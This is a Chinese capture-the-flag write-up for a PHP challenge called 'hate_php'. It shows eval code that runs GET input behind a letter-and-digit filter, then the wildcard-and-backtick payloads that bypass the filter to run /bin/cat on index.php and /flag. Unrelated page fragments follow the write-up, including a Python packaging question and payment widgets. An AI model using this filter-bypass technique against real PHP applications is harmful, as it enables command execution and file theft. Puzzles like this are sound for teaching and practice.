-Web-hate_php

复制代码

<?php
error_reporting(0);
if(!isset($_GET['code'])){

highlight_file(__FILE__);
}else{

$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){

die('fighting!');
}
eval($code);
}

复制代码

代码审计后,发现对输入code进行了正则表达式匹配,过滤了英文大小写字母、数字和_$@三个特殊字符。

本题的关键就是绕过正则匹配,执行eval()函数。

解题思路:

  • 利用通配符调用Linux系统命令来查看flag
  • 在Linux系统中可以使用 ? * 等字符来正则匹配字母
  • 星号(*)可以用来代替0个及以上任意字符
  • 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat

首先,构造payload如下:

?><?=`/???/???%20/???/???/????/*`?>
php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>

读取到源码发现存在如下函数(我没找到?):

function getFlag(){

$flag = file_get_contents('/flag');
echo $flag;
}

最后直接读取flag文件。

?code=?><?=`/???/??? /????`?>
php使用短链接含义如下:
<?php echo `/bin/cat /flag`?>
  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
请帮我检查如下代码,检查为什么在cmd中命令pyinstaller thatname.py后,成功打包为一个程序,但是程序运行时可以输入数据,但是没有数据输出?import random # 1数据段:这里的数据段输入以32.5-40.7这样的数据形式进行,目前设计是输入一个数据段,这里应当考虑使用什么方法再不用大幅度调整代码 # 的情况下就可实现多个数据段输入,总之先实现单个输入的结果数据,打通程序运行逻辑。 def fun(): range_in = input('请以33.5-42.888这种样式输入数据段(或者其他字符进行分隔):') range_lis = range_in.split('-') range_num = [] for i in range_lis: range_num.append(float(i)) range_num = tuple(range_num) print(range_num) # 2厌烦点 hate_point = float(input('请输入厌烦点(单位M):')) # 3筛选宽度 width = float(input('请输入筛选宽度(单位M):')) # 4筛选期望数 hop = int(input('请输入筛选期望次数:')) # 5输出结果 out_list = [] # 下面进行宽度、数据段、厌烦点的合理性验证,即保证宽度<被厌烦点分隔的数据段中的最小值 if width < hate_point - range_num[0] or width < range_num[1] - hate_point: print('数据逻辑符合') while len(out_list) < hop: out = random.uniform(range_num[0], range_num[1]) # out是在数据段中随机筛选出的一个点,下面对这个点进行验证 if out + width <= range_num[1] and not (out <= hate_point <= out + width): out_list.append((out, out + width)) print(f'{out}-{out + width}') else: continue print(out_list) else: print('数据逻辑不符合,无法随机出符合要求的期望值') if __name__ == '__main__': fun()
最新发布
05-31
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值